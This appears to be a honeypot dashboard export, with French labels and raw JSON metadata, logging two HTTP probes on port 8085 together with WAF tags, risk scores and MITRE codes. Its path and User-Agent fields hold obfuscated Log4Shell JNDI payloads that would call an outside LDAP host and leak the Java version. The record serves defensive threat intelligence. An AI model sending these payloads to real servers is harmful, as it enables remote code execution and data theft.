GET /${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-/}${5rq:-/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${h:zt:-g}${4f:-o}${qrg:de:1u:-o}${s6by:-g}}",
"http_ua_hash": "c1d8e515afc510dd0d6379af5c44eb506b484a8e",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "9bd47eb7a09053d259129656e666ea882ab27757",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.767277328996447,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.1,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 61,
"tag_count": 6,
"anomaly_count": 0,
"campaign_key": "adc9835de445b982ed5ca0c6066289ab52928378",
"event_fingerprint": "a45081c636dc20142175c80da964cf6748bcb363",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "029519b3ddaf59746314251d0f6b5426",
"payload_hash": "3b4cdfdbbcd313597fd4d80bb3883a77",
"path_pattern_hash": "1d3cc42c7fa32a73adcccc3b06b6ba5c"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"method": "GET",
"path": "\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z",
"user_agent": "${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-\/}${9bh:75:-\/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630:-0}${7rh4:-c}${olhw:--}${${fm:a3yi:-s}${a36n:jnx:g:-y}$\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}",
"payload_snippet": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7",
"evidence": {
"method": "GET",
"path": "\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}${5z",
"user_agent": "${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm87:-:}${vx5:o2yd:-\/}${9bh:75:-\/}${ols:i9:-U}${0:ievg:rl:-A}${5s1k:y:gqk:-l}${t630:-0}${7rh4:-c}${olhw:--}${${fm:a3yi:-s}${a36n:jnx:g:-y}$\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3l:-s}${n:k:-y}${oduv:5:l8:-s}${kvn:-:}${jen:q:fe6y:-j}${f9:e:5t:-a}${ox:nu:-v}${now9:vj:xb:-a}${t:o:-.}${n:b1:x:-v}${m:lk:-e}${n1kr:m:afj:-r}${icy:m9lp:5x:-s}${px:930e:-i}${a:-o}${n:-n}}${6h:-.}${nd:g:z:-e}${74:07g:-7}${tw:-d}${j8wo:zhc5:-b}${f7io:jzdm:-8}",
"request_sample": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05:7pr0:-l}${jgw:-0}${vxl:rt:ruo:-c}${04kt:5au8:lh:--}${${3",
"payload_snippet": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4428590eafd2cd51a11325c6b42f3311e8c4f8d8",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}$\u2026",
"request_line": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05\u2026",
"http_user_agent": "${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm8\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:\u2026",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 61,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}$\u2026",
"request_line": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7msn:-:}${2a:a2s0:zeju:-\/}${5rq:-\/}${w7:aoi6:q0xg:-P}${asq3:x:-A}${5h:05\u2026",
"http_user_agent": "${${jb:-j}${2:5d:ew:-n}${h7:r70z:-d}${nhup:-i}${t92:-:}${z:j0:y:-l}${5l:f:-d}${kvmu:luqr:8o6e:-a}${096:0k:-p}${0q:0:bm8\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:\u2026",
"evidence_snippet": "GET \/${${lzt:rs0:i:-j}${3kb8:2kvz:r:-n}${tu:2s:ko3:-d}${n:v:-i}${1v2:d12:i97y:-:}${k:u:v:-l}${5:-d}${pjsw:imx:9pl:-a}${cj:-p}${7",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:35:41 UTC
TCP
8085 · HTTP
Sonde port 8085/TCP
port 8085 tcp · via HTTP:8085 · (sonde / probe)
Élevée
Moyen · 48
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_slowloris
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8085
Chemin / cible
/
Preuve honeypot — Sonde port 8085/TCP
Connexion détectée sur le port 8085 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8085_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 48
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-/}${ax:-/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: 62.3.50.33:8085
Accept: */*
User-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:
Requête brute (extrait)
POST / HTTP/1.1 Host: 62.3.50.33:8085 Accept: */* User-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-/}${ax:-/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "8a400558091fc07dbe5448e55c1574d7b56b9391",
"http_host_hash": "8307e910dac7083f4f0d52abcc8375f89d55b254",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "a112e2b73a75f072d367a2bc7e1124afd4976be9",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.790397020488305,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8085,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 48,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "353fddb5abd144485e7128e1a80c79314ebed98a",
"event_fingerprint": "0fcaa6a995d1cdf34f87aa636ef596625b2ef958",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 48,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "96a8e5827f43f9403e2c0424fdcfec62",
"payload_hash": "fa031191cd8a80c2604c408b30522a33",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8085,
"service": "http",
"service_name": "http",
"risk_score": 48
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:",
"method": "POST",
"path": "\/",
"user_agent": "${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:-l}${x1tr:f:v4i:-0}${40r:a:-c}${2:--}${${k:ctz:m:-s}${7x\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:2hfv:q2:-l}${x1tr:f:v4i:-0}${40r:a:-c}${2:--}${${k:ctz:m:-s}${7x\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr:-p}${9f:5t:-:}${1n:-\/}${ax:-\/}${n0th:oa5:9r6o:-U}${rc3f:7c:ali:-A}${4c:",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:",
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "f7661a6a0ce55dbe2a32cff65d7b0da99b73e7a4",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:",
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8085_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 48\/100",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 48,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 48,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8085,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:ru:-:}${9gxp:kjl7:4wub:-l}${2j:wxt:es:-d}${f:g:-a}${facr\u2026",
"port": 8085,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8085 tcp \u00b7 via HTTP:8085 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: 62.3.50.33:8085\r\nAccept: *\/*\r\nUser-Agent: ${${0gb:u4im:u:-j}${kq2o:23p:4:-n}${kbj:-d}${ea0i:6xk0:-i}${12:",
"target_port_label": "8085 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +18 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8085"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"http-alt-8005"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 9,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
